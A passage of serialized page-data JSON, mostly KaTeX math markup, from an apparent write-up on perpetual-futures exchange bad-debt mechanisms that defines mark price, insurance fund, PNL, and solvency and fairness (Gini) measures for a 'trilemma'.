children":162318},{"className":162317},[3376],[162319],{"type":28,"value":3379},{"type":23,"tag":314,"props":162321,"children":162323},{"className":162322,"style":3383},[3344],[],{"type":23,"tag":314,"props":162325,"children":162327},{"className":162326,"style":3383},[3344],[],{"type":23,"tag":314,"props":162329,"children":162331},{"className":162330},[3264],[162332],{"type":28,"value":1600},{"type":23,"tag":314,"props":162334,"children":162336},{"className":162335},[20976],[162337],{"type":28,"value":431},{"type":23,"tag":314,"props":162339,"children":162340},{"style":160834},[162341,162345],{"type":23,"tag":314,"props":162342,"children":162344},{"className":162343,"style":160196},[3304],[],{"type":23,"tag":314,"props":162346,"children":162348},{"className":162347},[3264],[162349,162353,162357,162362,162366,162429,162433],{"type":23,"tag":314,"props":162350,"children":162352},{"className":162351},[3264],[],{"type":23,"tag":314,"props":162354,"children":162356},{"className":162355,"style":3442},[3344],[],{"type":23,"tag":314,"props":162358,"children":162360},{"className":162359},[3447],[162361],{"type":28,"value":1102},{"type":23,"tag":314,"props":162363,"children":162365},{"className":162364,"style":3442},[3344],[],{"type":23,"tag":314,"props":162367,"children":162369},{"className":162368},[20861,162020],[162370],{"type":23,"tag":314,"props":162371,"children":162373},{"className":162372},[3285,20879],[162374,162418],{"type":23,"tag":314,"props":162375,"children":162377},{"className":162376},[3290],[162378,162413],{"type":23,"tag":314,"props":162379,"children":162381},{"className":162380,"style":162033},[3295],[162382,162398],{"type":23,"tag":314,"props":162383,"children":162384},{"style":162037},[162385,162389],{"type":23,"tag":314,"props":162386,"children":162388},{"className":162387,"style":162042},[3304],[],{"type":23,"tag":314,"props":162390,"children":162392},{"className":162391},[3310,3311,3312,3313],[162393],{"type":23,"tag":314,"props":162394,"children":162396},{"className":162395},[3264,20825,3313],[162397],{"type":28,"value":2993},{"type":23,"tag":314,"props":162399,"children":162400},{"style":162055},[162401,162405],{"type":23,"tag":314,"props":162402,"children":162404},{"className":162403,"style":162042},[3304],[],{"type":23,"tag":314,"props":162406,"children":162407},{},[162408],{"type":23,"tag":314,"props":162409,"children":162411},{"className":162410},[20861,20866,162067],[162412],{"type":28,"value":108094},{"type":23,"tag":314,"props":162414,"children":162416},{"className":162415},[20982],[162417],{"type":28,"value":20985},{"type":23,"tag":314,"props":162419,"children":162421},{"className":162420},[3290],[162422],{"type":23,"tag":314,"props":162423,"children":162425},{"className":162424,"style":162082},[3295],[162426],{"type":23,"tag":314,"props":162427,"children":162428},{},[],{"type":23,"tag":314,"props":162430,"children":162432},{"className":162431,"style":3383},[3344],[],{"type":23,"tag":314,"props":162434,"children":162436},{"className":162435},[3264],[162437,162442],{"type":23,"tag":314,"props":162438,"children":162440},{"className":162439,"style":121579},[3264,20825],[162441],{"type":28,"value":48822},{"type":23,"tag":314,"props":162443,"children":162445},{"className":162444},[3280],[162446],{"type":23,"tag":314,"props":162447,"children":162449},{"className":162448},[3285,20879],[162450,162479],{"type":23,"tag":314,"props":162451,"children":162453},{"className":162452},[3290],[162454,162474],{"type":23,"tag":314,"props":162455,"children":162457},{"className":162456,"style":92828},[3295],[162458],{"type":23,"tag":314,"props":162459,"children":162460},{"style":160524},[162461,162465],{"type":23,"tag":314,"props":162462,"children":162464},{"className":162463,"style":3305},[3304],[],{"type":23,"tag":314,"props":162466,"children":162468},{"className":162467},[3310,3311,3312,3313],[162469],{"type":23,"tag":314,"props":162470,"children":162472},{"className":162471},[3264,20825,3313],[162473],{"type":28,"value":2993},{"type":23,"tag":314,"props":162475,"children":162477},{"className":162476},[20982],[162478],{"type":28,"value":20985},{"type":23,"tag":314,"props":162480,"children":162482},{"className":162481},[3290],[162483],{"type":23,"tag":314,"props":162484,"children":162486},{"className":162485,"style":92382},[3295],[162487],{"type":23,"tag":314,"props":162488,"children":162489},{},[],{"type":23,"tag":314,"props":162491,"children":162492},{"style":160905},[162493,162497],{"type":23,"tag":314,"props":162494,"children":162496},{"className":162495,"style":160196},[3304],[],{"type":23,"tag":314,"props":162498,"children":162500},{"className":162499},[3264],[162501,162505,162509,162514,162518,162523,162528,162585,162589,162594,162598,162603,162607,162612,162616,162673,162678,162682,162686,162691],{"type":23,"tag":314,"props":162502,"children":162504},{"className":162503},[3264],[],{"type":23,"tag":314,"props":162506,"children":162508},{"className":162507,"style":3442},[3344],[],{"type":23,"tag":314,"props":162510,"children":162512},{"className":162511},[3447],[162513],{"type":28,"value":1102},{"type":23,"tag":314,"props":162515,"children":162517},{"className":162516,"style":3442},[3344],[],{"type":23,"tag":314,"props":162519,"children":162521},{"className":162520},[20861],[162522],{"type":28,"value":159910},{"type":23,"tag":314,"props":162524,"children":162526},{"className":162525},[20954],[162527],{"type":28,"value":341},{"type":23,"tag":314,"props":162529,"children":162531},{"className":162530},[3264],[162532,162537],{"type":23,"tag":314,"props":162533,"children":162535},{"className":162534,"style":92299},[3264,20825],[162536],{"type":28,"value":160783},{"type":23,"tag":314,"props":162538,"children":162540},{"className":162539},[3280],[162541],{"type":23,"tag":314,"props":162542,"children":162544},{"className":162543},[3285,20879],[162545,162574],{"type":23,"tag":314,"props":162546,"children":162548},{"className":162547},[3290],[162549,162569],{"type":23,"tag":314,"props":162550,"children":162552},{"className":162551,"style":141852},[3295],[162553],{"type":23,"tag":314,"props":162554,"children":162555},{"style":109298},[162556,162560],{"type":23,"tag":314,"props":162557,"children":162559},{"className":162558,"style":3305},[3304],[],{"type":23,"tag":314,"props":162561,"children":162563},{"className":162562},[3310,3311,3312,3313],[162564],{"type":23,"tag":314,"props":162565,"children":162567},{"className":162566,"style":20826},[3264,20825,3313],[162568],{"type":28,"value":5242},{"type":23,"tag":314,"props":162570,"children":162572},{"className":162571},[20982],[162573],{"type":28,"value":20985},{"type":23,"tag":314,"props":162575,"children":162577},{"className":162576},[3290],[162578],{"type":23,"tag":314,"props":162579,"children":162581},{"className":162580,"style":92382},[3295],[162582],{"type":23,"tag":314,"props":162583,"children":162584},{},[],{"type":23,"tag":314,"props":162586,"children":162588},{"className":162587,"style":3345},[3344],[],{"type":23,"tag":314,"props":162590,"children":162592},{"className":162591},[3350],[162593],{"type":28,"value":3324},{"type":23,"tag":314,"props":162595,"children":162597},{"className":162596,"style":3345},[3344],[],{"type":23,"tag":314,"props":162599,"children":162601},{"className":162600,"style":94319},[3264,20825],[162602],{"type":28,"value":94353},{"type":23,"tag":314,"props":162604,"children":162606},{"className":162605,"style":3345},[3344],[],{"type":23,"tag":314,"props":162608,"children":162610},{"className":162609},[3350],[162611],{"type":28,"value":3324},{"type":23,"tag":314,"props":162613,"children":162615},{"className":162614,"style":3345},[3344],[],{"type":23,"tag":314,"props":162617,"children":162619},{"className":162618},[3264],[162620,162625],{"type":23,"tag":314,"props":162621,"children":162623},{"className":162622,"style":92533},[3264,20825],[162624],{"type":28,"value":92536},{"type":23,"tag":314,"props":162626,"children":162628},{"className":162627},[3280],[162629],{"type":23,"tag":314,"props":162630,"children":162632},{"className":162631},[3285,20879],[162633,162662],{"type":23,"tag":314,"props":162634,"children":162636},{"className":162635},[3290],[162637,162657],{"type":23,"tag":314,"props":162638,"children":162640},{"className":162639,"style":141852},[3295],[162641],{"type":23,"tag":314,"props":162642,"children":162643},{"style":109728},[162644,162648],{"type":23,"tag":314,"props":162645,"children":162647},{"className":162646,"style":3305},[3304],[],{"type":23,"tag":314,"props":162649,"children":162651},{"className":162650},[3310,3311,3312,3313],[162652],{"type":23,"tag":314,"props":162653,"children":162655},{"className":162654,"style":20826},[3264,20825,3313],[162656],{"type":28,"value":5242},{"type":23,"tag":314,"props":162658,"children":162660},{"className":162659},[20982],[162661],{"type":28,"value":20985},{"type":23,"tag":314,"props":162663,"children":162665},{"className":162664},[3290],[162666],{"type":23,"tag":314,"props":162667,"children":162669},{"className":162668,"style":92382},[3295],[162670],{"type":23,"tag":314,"props":162671,"children":162672},{},[],{"type":23,"tag":314,"props":162674,"children":162676},{"className":162675},[3376],[162677],{"type":28,"value":3379},{"type":23,"tag":314,"props":162679,"children":162681},{"className":162680,"style":3383},[3344],[],{"type":23,"tag":314,"props":162683,"children":162685},{"className":162684,"style":3383},[3344],[],{"type":23,"tag":314,"props":162687,"children":162689},{"className":162688},[3264],[162690],{"type":28,"value":1600},{"type":23,"tag":314,"props":162692,"children":162694},{"className":162693},[20976],[162695],{"type":28,"value":431},{"type":23,"tag":314,"props":162697,"children":162699},{"className":162698},[20982],[162700],{"type":28,"value":20985},{"type":23,"tag":314,"props":162702,"children":162704},{"className":162703},[3290],[162705],{"type":23,"tag":314,"props":162706,"children":162708},{"className":162707,"style":160986},[3295],[162709],{"type":23,"tag":314,"props":162710,"children":162711},{},[],{"type":23,"tag":24,"props":162713,"children":162714},{},[162715,162716,162793,162795,162820,162822,162899,162901,162978],{"type":28,"value":341},{"type":23,"tag":94,"props":162717,"children":162719},{"className":162718},[3237,3238],[162720],{"type":23,"tag":314,"props":162721,"children":162723},{"className":162722},[3243],[162724],{"type":23,"tag":314,"props":162725,"children":162727},{"className":162726,"ariaHidden":1481},[3248],[162728],{"type":23,"tag":314,"props":162729,"children":162731},{"className":162730},[3253],[162732,162736],{"type":23,"tag":314,"props":162733,"children":162735},{"className":162734,"style":110296},[3258],[],{"type":23,"tag":314,"props":162737,"children":162739},{"className":162738},[3264],[162740,162745],{"type":23,"tag":314,"props":162741,"children":162743},{"className":162742,"style":20826},[3264,20825],[162744],{"type":28,"value":20829},{"type":23,"tag":314,"props":162746,"children":162748},{"className":162747},[3280],[162749],{"type":23,"tag":314,"props":162750,"children":162752},{"className":162751},[3285,20879],[162753,162782],{"type":23,"tag":314,"props":162754,"children":162756},{"className":162755},[3290],[162757,162777],{"type":23,"tag":314,"props":162758,"children":162760},{"className":162759,"style":108731},[3295],[162761],{"type":23,"tag":314,"props":162762,"children":162763},{"style":160229},[162764,162768],{"type":23,"tag":314,"props":162765,"children":162767},{"className":162766,"style":3305},[3304],[],{"type":23,"tag":314,"props":162769,"children":162771},{"className":162770},[3310,3311,3312,3313],[162772],{"type":23,"tag":314,"props":162773,"children":162775},{"className":162774},[3264,20825,3313],[162776],{"type":28,"value":55654},{"type":23,"tag":314,"props":162778,"children":162780},{"className":162779},[20982],[162781],{"type":28,"value":20985},{"type":23,"tag":314,"props":162783,"children":162785},{"className":162784},[3290],[162786],{"type":23,"tag":314,"props":162787,"children":162789},{"className":162788,"style":92382},[3295],[162790],{"type":23,"tag":314,"props":162791,"children":162792},{},[],{"type":28,"value":162794},": mark price from different sources; ",{"type":23,"tag":94,"props":162796,"children":162798},{"className":162797},[3237,3238],[162799],{"type":23,"tag":314,"props":162800,"children":162802},{"className":162801},[3243],[162803],{"type":23,"tag":314,"props":162804,"children":162806},{"className":162805,"ariaHidden":1481},[3248],[162807],{"type":23,"tag":314,"props":162808,"children":162810},{"className":162809},[3253],[162811,162815],{"type":23,"tag":314,"props":162812,"children":162814},{"className":162813,"style":20820},[3258],[],{"type":23,"tag":314,"props":162816,"children":162818},{"className":162817,"style":94319},[3264,20825],[162819],{"type":28,"value":94353},{"type":28,"value":162821},": insurance fund, roughly the 5M on testnet HL; ",{"type":23,"tag":94,"props":162823,"children":162825},{"className":162824},[3237,3238],[162826],{"type":23,"tag":314,"props":162827,"children":162829},{"className":162828},[3243],[162830],{"type":23,"tag":314,"props":162831,"children":162833},{"className":162832,"ariaHidden":1481},[3248],[162834],{"type":23,"tag":314,"props":162835,"children":162837},{"className":162836},[3253],[162838,162842],{"type":23,"tag":314,"props":162839,"children":162841},{"className":162840,"style":109269},[3258],[],{"type":23,"tag":314,"props":162843,"children":162845},{"className":162844},[3264],[162846,162851],{"type":23,"tag":314,"props":162847,"children":162849},{"className":162848,"style":92785},[3264,20825],[162850],{"type":28,"value":160367},{"type":23,"tag":314,"props":162852,"children":162854},{"className":162853},[3280],[162855],{"type":23,"tag":314,"props":162856,"children":162858},{"className":162857},[3285,20879],[162859,162888],{"type":23,"tag":314,"props":162860,"children":162862},{"className":162861},[3290],[162863,162883],{"type":23,"tag":314,"props":162864,"children":162866},{"className":162865,"style":92828},[3295],[162867],{"type":23,"tag":314,"props":162868,"children":162869},{"style":92832},[162870,162874],{"type":23,"tag":314,"props":162871,"children":162873},{"className":162872,"style":3305},[3304],[],{"type":23,"tag":314,"props":162875,"children":162877},{"className":162876},[3310,3311,3312,3313],[162878],{"type":23,"tag":314,"props":162879,"children":162881},{"className":162880},[3264,20825,3313],[162882],{"type":28,"value":2993},{"type":23,"tag":314,"props":162884,"children":162886},{"className":162885},[20982],[162887],{"type":28,"value":20985},{"type":23,"tag":314,"props":162889,"children":162891},{"className":162890},[3290],[162892],{"type":23,"tag":314,"props":162893,"children":162895},{"className":162894,"style":92382},[3295],[162896],{"type":23,"tag":314,"props":162897,"children":162898},{},[],{"type":28,"value":162900}," is PNL for longs, negated for shorts; ",{"type":23,"tag":94,"props":162902,"children":162904},{"className":162903},[3237,3238],[162905],{"type":23,"tag":314,"props":162906,"children":162908},{"className":162907},[3243],[162909],{"type":23,"tag":314,"props":162910,"children":162912},{"className":162911,"ariaHidden":1481},[3248],[162913],{"type":23,"tag":314,"props":162914,"children":162916},{"className":162915},[3253],[162917,162921],{"type":23,"tag":314,"props":162918,"children":162920},{"className":162919,"style":109269},[3258],[],{"type":23,"tag":314,"props":162922,"children":162924},{"className":162923},[3264],[162925,162930],{"type":23,"tag":314,"props":162926,"children":162928},{"className":162927,"style":121579},[3264,20825],[162929],{"type":28,"value":48822},{"type":23,"tag":314,"props":162931,"children":162933},{"className":162932},[3280],[162934],{"type":23,"tag":314,"props":162935,"children":162937},{"className":162936},[3285,20879],[162938,162967],{"type":23,"tag":314,"props":162939,"children":162941},{"className":162940},[3290],[162942,162962],{"type":23,"tag":314,"props":162943,"children":162945},{"className":162944,"style":92828},[3295],[162946],{"type":23,"tag":314,"props":162947,"children":162948},{"style":160524},[162949,162953],{"type":23,"tag":314,"props":162950,"children":162952},{"className":162951,"style":3305},[3304],[],{"type":23,"tag":314,"props":162954,"children":162956},{"className":162955},[3310,3311,3312,3313],[162957],{"type":23,"tag":314,"props":162958,"children":162960},{"className":162959},[3264,20825,3313],[162961],{"type":28,"value":2993},{"type":23,"tag":314,"props":162963,"children":162965},{"className":162964},[20982],[162966],{"type":28,"value":20985},{"type":23,"tag":314,"props":162968,"children":162970},{"className":162969},[3290],[162971],{"type":23,"tag":314,"props":162972,"children":162974},{"className":162973,"style":92382},[3295],[162975],{"type":23,"tag":314,"props":162976,"children":162977},{},[],{"type":28,"value":162979}," is the positive part of PNL.)",{"type":23,"tag":24,"props":162981,"children":162982},{},[162983],{"type":28,"value":162984},"And let's make the trilemma definitions concrete:",{"type":23,"tag":127,"props":162986,"children":162987},{},[162988,163462,164026],{"type":23,"tag":88,"props":162989,"children":162990},{},[162991,162995,162996,163250,163252,163303,163305,163408,163409,163460],{"type":23,"tag":186,"props":162992,"children":162993},{},[162994],{"type":28,"value":160108},{"type":28,"value":32159},{"type":23,"tag":94,"props":162997,"children":162999},{"className":162998},[3237,3238],[163000],{"type":23,"tag":314,"props":163001,"children":163003},{"className":163002},[3243],[163004],{"type":23,"tag":314,"props":163005,"children":163007},{"className":163006,"ariaHidden":1481},[3248],[163008,163035],{"type":23,"tag":314,"props":163009,"children":163011},{"className":163010},[3253],[163012,163017,163022,163026,163031],{"type":23,"tag":314,"props":163013,"children":163016},{"className":163014,"style":163015},[3258],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":23,"tag":314,"props":163018,"children":163020},{"className":163019},[3264],[163021],{"type":28,"value":3267},{"type":23,"tag":314,"props":163023,"children":163025},{"className":163024,"style":3345},[3344],[],{"type":23,"tag":314,"props":163027,"children":163029},{"className":163028},[3350],[163030],{"type":28,"value":3324},{"type":23,"tag":314,"props":163032,"children":163034},{"className":163033,"style":3345},[3344],[],{"type":23,"tag":314,"props":163036,"children":163038},{"className":163037},[3253],[163039,163044],{"type":23,"tag":314,"props":163040,"children":163043},{"className":163041,"style":163042},[3258],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":23,"tag":314,"props":163045,"children":163047},{"className":163046},[3264],[163048,163052,163246],{"type":23,"tag":314,"props":163049,"children":163051},{"className":163050},[20954,112817],[],{"type":23,"tag":314,"props":163053,"children":163055},{"className":163054},[112822],[163056],{"type":23,"tag":314,"props":163057,"children":163059},{"className":163058},[3285,20879],[163060,163234],{"type":23,"tag":314,"props":163061,"children":163063},{"className":163062},[3290],[163064,163229],{"type":23,"tag":314,"props":163065,"children":163068},{"className":163066,"style":163067},[3295],"height:0.8884em;",[163069,163143,163154],{"type":23,"tag":314,"props":163070,"children":163071},{"style":112839},[163072,163076],{"type":23,"tag":314,"props":163073,"children":163075},{"className":163074,"style":111470},[3304],[],{"type":23,"tag":314,"props":163077,"children":163079},{"className":163078},[3310,3311,3312,3313],[163080],{"type":23,"tag":314,"props":163081,"children":163083},{"className":163082},[3264,3313],[163084],{"type":23,"tag":314,"props":163085,"children":163087},{"className":163086},[3264,3313],[163088,163093],{"type":23,"tag":314,"props":163089,"children":163091},{"className":163090,"style":92299},[3264,20825,3313],[163092],{"type":28,"value":160783},{"type":23,"tag":314,"props":163094,"children":163096},{"className":163095},[3280],[163097],{"type":23,"tag":314,"props":163098,"children":163100},{"className":163099},[3285,20879],[163101,163131],{"type":23,"tag":314,"props":163102,"children":163104},{"className":163103},[3290],[163105,163126],{"type":23,"tag":314,"props":163106,"children":163108},{"className":163107,"style":111631},[3295],[163109],{"type":23,"tag":314,"props":163110,"children":163112},{"style":163111},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[163113,163117],{"type":23,"tag":314,"props":163114,"children":163116},{"className":163115,"style":108159},[3304],[],{"type":23,"tag":314,"props":163118,"children":163120},{"className":163119},[3310,108164,108165,3313],[163121],{"type":23,"tag":314,"props":163122,"children":163124},{"className":163123,"style":20826},[3264,20825,3313],[163125],{"type":28,"value":5242},{"type":23,"tag":314,"props":163127,"children":163129},{"className":163128},[20982],[163130],{"type":28,"value":20985},{"type":23,"tag":314,"props":163132,"children":163134},{"className":163133},[3290],[163135],{"type":23,"tag":314,"props":163136,"children":163139},{"className":163137,"style":163138},[3295],"height:0.1433em;",[163140],{"type":23,"tag":314,"props":163141,"children":163142},{},[],{"type":23,"tag":314,"props":163144,"children":163145},{"style":112872},[163146,163150],{"type":23,"tag":314,"props":163147,"children":163149},{"className":163148,"style":111470},[3304],[],{"type":23,"tag":314,"props":163151,"children":163153},{"className":163152,"style":112882},[112881],[],{"type":23,"tag":314,"props":163155,"children":163157},{"style":163156},"top:-3.4101em;",[163158,163162],{"type":23,"tag":314,"props":163159,"children":163161},{"className":163160,"style":111470},[3304],[],{"type":23,"tag":314,"props":163163,"children":163165},{"className":163164},[3310,3311,3312,3313],[163166],{"type":23,"tag":314,"props":163167,"children":163169},{"className":163168},[3264,3313],[163170],{"type":23,"tag":314,"props":163171,"children":163173},{"className":163172},[3264,3313],[163174,163179],{"type":23,"tag":314,"props":163175,"children":163177},{"className":163176,"style":122076},[3264,20825,3313],[163178],{"type":28,"value":122079},{"type":23,"tag":314,"props":163180,"children":163182},{"className":163181},[3280],[163183],{"type":23,"tag":314,"props":163184,"children":163186},{"className":163185},[3285,20879],[163187,163218],{"type":23,"tag":314,"props":163188,"children":163190},{"className":163189},[3290],[163191,163213],{"type":23,"tag":314,"props":163192,"children":163195},{"className":163193,"style":163194},[3295],"height:0.2963em;",[163196],{"type":23,"tag":314,"props":163197,"children":163199},{"style":163198},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[163200,163204],{"type":23,"tag":314,"props":163201,"children":163203},{"className":163202,"style":108159},[3304],[],{"type":23,"tag":314,"props":163205,"children":163207},{"className":163206},[3310,108164,108165,3313],[163208],{"type":23,"tag":314,"props":163209,"children":163211},{"className":163210},[3264,20825,3313],[163212],{"type":28,"value":20967},{"type":23,"tag":314,"props":163214,"children":163216},{"className":163215},[20982],[163217],{"type":28,"value":20985},{"type":23,"tag":314,"props":163219,"children":163221},{"className":163220},[3290],[163222],{"type":23,"tag":314,"props":163223,"children":163225},{"className":163224,"style":108184},[3295],[163226],{"type":23,"tag":314,"props":163227,"children":163228},{},[],{"type":23,"tag":314,"props":163230,"children":163232},{"className":163231},[20982],[163233],{"type":28,"value":20985},{"type":23,"tag":314,"props":163235,"children":163237},{"className":163236},[3290],[163238],{"type":23,"tag":314,"props":163239,"children":163242},{"className":163240,"style":163241},[3295],"height:0.4453em;",[163243],{"type":23,"tag":314,"props":163244,"children":163245},{},[],{"type":23,"tag":314,"props":163247,"children":163249},{"className":163248},[20976,112817],[],{"type":28,"value":163251}," — how much of the total bad debt was actually covered. ",{"type":23,"tag":94,"props":163253,"children":163255},{"className":163254},[3237,3238],[163256],{"type":23,"tag":314,"props":163257,"children":163259},{"className":163258},[3243],[163260],{"type":23,"tag":314,"props":163261,"children":163263},{"className":163262,"ariaHidden":1481},[3248],[163264,163290],{"type":23,"tag":314,"props":163265,"children":163267},{"className":163266},[3253],[163268,163272,163277,163281,163286],{"type":23,"tag":314,"props":163269,"children":163271},{"className":163270,"style":20820},[3258],[],{"type":23,"tag":314,"props":163273,"children":163275},{"className":163274,"style":21284},[3264,20825],[163276],{"type":28,"value":21287},{"type":23,"tag":314,"props":163278,"children":163280},{"className":163279,"style":3442},[3344],[],{"type":23,"tag":314,"props":163282,"children":163284},{"className":163283},[3447],[163285],{"type":28,"value":1102},{"type":23,"tag":314,"props":163287,"children":163289},{"className":163288,"style":3442},[3344],[],{"type":23,"tag":314,"props":163291,"children":163293},{"className":163292},[3253],[163294,163298],{"type":23,"tag":314,"props":163295,"children":163297},{"className":163296,"style":93330},[3258],[],{"type":23,"tag":314,"props":163299,"children":163301},{"className":163300},[3264],[163302],{"type":28,"value":3267},{"type":28,"value":163304}," means fully solvent (",{"type":23,"tag":94,"props":163306,"children":163308},{"className":163307},[3237,3238],[163309],{"type":23,"tag":314,"props":163310,"children":163312},{"className":163311},[3243],[163313],{"type":23,"tag":314,"props":163314,"children":163316},{"className":163315,"ariaHidden":1481},[3248],[163317,163395],{"type":23,"tag":314,"props":163318,"children":163320},{"className":163319},[3253],[163321,163325,163382,163386,163391],{"type":23,"tag":314,"props":163322,"children":163324},{"className":163323,"style":110296},[3258],[],{"type":23,"tag":314,"props":163326,"children":163328},{"className":163327},[3264],[163329,163334],{"type":23,"tag":314,"props":163330,"children":163332},{"className":163331,"style":122076},[3264,20825],[163333],{"type":28,"value":122079},{"type":23,"tag":314,"props":163335,"children":163337},{"className":163336},[3280],[163338],{"type":23,"tag":314,"props":163339,"children":163341},{"className":163340},[3285,20879],[163342,163371],{"type":23,"tag":314,"props":163343,"children":163345},{"className":163344},[3290],[163346,163366],{"type":23,"tag":314,"props":163347,"children":163349},{"className":163348,"style":160939},[3295],[163350],{"type":23,"tag":314,"props":163351,"children":163352},{"style":160943},[163353,163357],{"type":23,"tag":314,"props":163354,"children":163356},{"className":163355,"style":3305},[3304],[],{"type":23,"tag":314,"props":163358,"children":163360},{"className":163359},[3310,3311,3312,3313],[163361],{"type":23,"tag":314,"props":163362,"children":163364},{"className":163363},[3264,20825,3313],[163365],{"type":28,"value":20967},{"type":23,"tag":314,"props":163367,"children":163369},{"className":163368},[20982],[163370],{"type":28,"value":20985},{"type":23,"tag":314,"props":163372,"children":163374},{"className":163373},[3290],[163375],{"type":23,"tag":314,"props":163376,"children":163378},{"className":163377,"style":92382},[3295],[163379],{"type":23,"tag":314,"props":163380,"children":163381},{},[],{"type":23,"tag":314,"props":163383,"children":163385},{"className":163384,"style":3442},[3344],[],{"type":23,"tag":314,"props":163387,"children":163389},{"className":163388},[3447],[163390],{"type":28,"value":1102},{"type":23,"tag":314,"props":163392,"children":163394},{"className":163393,"style":3442},[3344],[],{"type":23,"tag":314,"props":163396,"children":163398},{"className":163397},[3253],[163399,163403],{"type":23,"tag":314,"props":163400,"children":163402},{"className":163401,"style":93330},[3258],[],{"type":23,"tag":314,"props":163404,"children":163406},{"className":163405},[3264],[163407],{"type":28,"value":1600},{"type":28,"value":14419},{"type":23,"tag":94,"props":163410,"children":163412},{"className":163411},[3237,3238],[163413],{"type":23,"tag":314,"props":163414,"children":163416},{"className":163415},[3243],[163417],{"type":23,"tag":314,"props":163418,"children":163420},{"className":163419,"ariaHidden":1481},[3248],[163421,163447],{"type":23,"tag":314,"props":163422,"children":163424},{"className":163423},[3253],[163425,163429,163434,163438,163443],{"type":23,"tag":314,"props":163426,"children":163428},{"className":163427,"style":20820},[3258],[],{"type":23,"tag":314,"props":163430,"children":163432},{"className":163431,"style":21284},[3264,20825],[163433],{"type":28,"value":21287},{"type":23,"tag":314,"props":163435,"children":163437},{"className":163436,"style":3442},[3344],[],{"type":23,"tag":314,"props":163439,"children":163441},{"className":163440},[3447],[163442],{"type":28,"value":1102},{"type":23,"tag":314,"props":163444,"children":163446},{"className":163445,"style":3442},[3344],[],{"type":23,"tag":314,"props":163448,"children":163450},{"className":163449},[3253],[163451,163455],{"type":23,"tag":314,"props":163452,"children":163454},{"className":163453,"style":93330},[3258],[],{"type":23,"tag":314,"props":163456,"children":163458},{"className":163457},[3264],[163459],{"type":28,"value":1600},{"type":28,"value":163461}," means nothing was recovered.",{"type":23,"tag":88,"props":163463,"children":163464},{},[163465,163469,163470,163593,163594,163811,163813,163917,163919,163970,163972,164024],{"type":23,"tag":186,"props":163466,"children":163467},{},[163468],{"type":28,"value":160118},{"type":28,"value":32159},{"type":23,"tag":94,"props":163471,"children":163473},{"className":163472},[3237,3238],[163474],{"type":23,"tag":314,"props":163475,"children":163477},{"className":163476},[3243],[163478],{"type":23,"tag":314,"props":163479,"children":163481},{"className":163480,"ariaHidden":1481},[3248],[163482,163508],{"type":23,"tag":314,"props":163483,"children":163485},{"className":163484},[3253],[163486,163490,163495,163499,163504],{"type":23,"tag":314,"props":163487,"children":163489},{"className":163488,"style":163015},[3258],[],{"type":23,"tag":314,"props":163491,"children":163493},{"className":163492},[3264],[163494],{"type":28,"value":3267},{"type":23,"tag":314,"props":163496,"children":163498},{"className":163497,"style":3345},[3344],[],{"type":23,"tag":314,"props":163500,"children":163502},{"className":163501},[3350],[163503],{"type":28,"value":3324},{"type":23,"tag":314,"props":163505,"children":163507},{"className":163506,"style":3345},[3344],[],{"type":23,"tag":314,"props":163509,"children":163511},{"className":163510},[3253],[163512,163516,163526,163531,163588],{"type":23,"tag":314,"props":163513,"children":163515},{"className":163514,"style":3365},[3258],[],{"type":23,"tag":314,"props":163517,"children":163519},{"className":163518},[3264,28],[163520],{"type":23,"tag":314,"props":163521,"children":163523},{"className":163522},[3264],[163524],{"type":28,"value":163525},"Gini",{"type":23,"tag":314,"props":163527,"children":163529},{"className":163528},[20954],[163530],{"type":28,"value":341},{"type":23,"tag":314,"props":163532,"children":163534},{"className":163533},[3264],[163535,163540],{"type":23,"tag":314,"props":163536,"children":163538},{"className":163537},[3264,20825],[163539],{"type":28,"value":83597},{"type":23,"tag":314,"props":163541,"children":163543},{"className":163542},[3280],[163544],{"type":23,"tag":314,"props":163545,"children":163547},{"className":163546},[3285,20879],[163548,163577],{"type":23,"tag":314,"props":163549,"children":163551},{"className":163550},[3290],[163552,163572],{"type":23,"tag":314,"props":163553,"children":163555},{"className":163554,"style":92828},[3295],[163556],{"type":23,"tag":314,"props":163557,"children":163558},{"style":92355},[163559,163563],{"type":23,"tag":314,"props":163560,"children":163562},{"className":163561,"style":3305},[3304],[],{"type":23,"tag":314,"props":163564,"children":163566},{"className":163565},[3310,3311,3312,3313],[163567],{"type":23,"tag":314,"props":163568,"children":163570},{"className":163569},[3264,20825,3313],[163571],{"type":28,"value":2993},{"type":23,"tag":314,"props":163573,"children":163575},{"className":163574},[20982],[163576],{"type":28,"value":20985},{"type":23,"tag":314,"props":163578,"children":163580},{"className":163579},[3290],[163581],{"type":23,"tag":314,"props":163582,"children":163584},{"className":163583,"style":92382},[3295],[163585],{"type":23,"tag":314,"props":163586,"children":163587},{},[],{"type":23,"tag":314,"props":163589,"children":163591},{"className":163590},[20976],[163592],{"type":28,"value":431},{"type":28,"value":6577},{"type":23,"tag":94,"props":163595,"children":163597},{"className":163596},[3237,3238],[163598],{"type":23,"tag":314,"props":163599,"children":163601},{"className":163600},[3243],[163602],{"type":23,"tag":314,"props":163603,"children":163605},{"className":163604,"ariaHidden":1481},[3248],[163606,163684],{"type":23,"tag":314,"props":163607,"children":163609},{"className":163608},[3253],[163610,163614,163671,163675,163680],{"type":23,"tag":314,"props":163611,"children":163613},{"className":163612,"style":141576},[3258],[],{"type":23,"tag":314,"props":163615,"children":163617},{"className":163616},[3264],[163618,163623],{"type":23,"tag":314,"props":163619,"children":163621},{"className":163620},[3264,20825],[163622],{"type":28,"value":83597},{"type":23,"tag":314,"props":163624,"children":163626},{"className":163625},[3280],[163627],{"type":23,"tag":314,"props":163628,"children":163630},{"className":163629},[3285,20879],[163631,163660],{"type":23,"tag":314,"props":163632,"children":163634},{"className":163633},[3290],[163635,163655],{"type":23,"tag":314,"props":163636,"children":163638},{"className":163637,"style":92828},[3295],[163639],{"type":23,"tag":314,"props":163640,"children":163641},{"style":92355},[163642,163646],{"type":23,"tag":314,"props":163643,"children":163645},{"className":163644,"style":3305},[3304],[],{"type":23,"tag":314,"props":163647,"children":163649},{"className":163648},[3310,3311,3312,3313],[163650],{"type":23,"tag":314,"props":163651,"children":163653},{"className":163652},[3264,20825,3313],[163654],{"type":28,"value":2993},{"type":23,"tag":314,"props":163656,"children":163658},{"className":163657},[20982],[163659],{"type":28,"value":20985},{"type":23,"tag":314,"props":163661,"children":163663},{"className":163662},[3290],[163664],{"type":23,"tag":314,"props":163665,"children":163667},{"className":163666,"style":92382},[3295],[163668],{"type":23,"tag":314,"props":163669,"children":163670},{},[],{"type":23,